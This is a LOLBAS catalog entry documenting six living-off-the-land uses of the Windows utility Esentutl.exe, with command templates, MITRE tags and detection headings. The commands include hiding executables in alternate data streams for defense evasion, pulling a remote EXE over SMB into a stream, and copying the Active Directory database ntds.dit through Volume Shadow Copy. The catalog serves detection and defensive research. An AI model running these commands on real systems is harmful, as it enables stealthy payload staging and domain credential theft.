Catalog LOLBAS

LOL · Binary

Esentutl.exe

6 techniques WindowsLOLBAS GPL-3.0

Copy

File Copy Windows

Copies the source VBS file to the destination VBS file.

Use Copies files from A to B

esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o
Context
user
Native
Copy
MITRE
T1105
Detection

ADS

Defense EvasionFile Write Windows

Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

Use Copy file and hide it in an alternate data stream as a defensive counter measure

esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o
Context
user
Native
ADS
Detection

ADS

Defense EvasionFile Write Windows

Copies the source Alternate Data Stream (ADS) to the destination EXE.

Use Extract hidden file within alternate data streams

esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o
Context
user
Native
ADS
Detection

ADS

Defense EvasionFile Write Windows

Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

Use Copy file and hide it in an alternate data stream as a defensive counter measure

esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o
Context
user
Native
ADS
Detection

Download

File Download Windows

Copies the source EXE to the destination EXE file

Use Use to copy files from one unc path to another

esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o
Context
user
Native
Download
Detection

Copy

File Copy Windows

Copies a (locked) file using Volume Shadow Copy

Use Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}
Context
admin
Native
Copy
Detection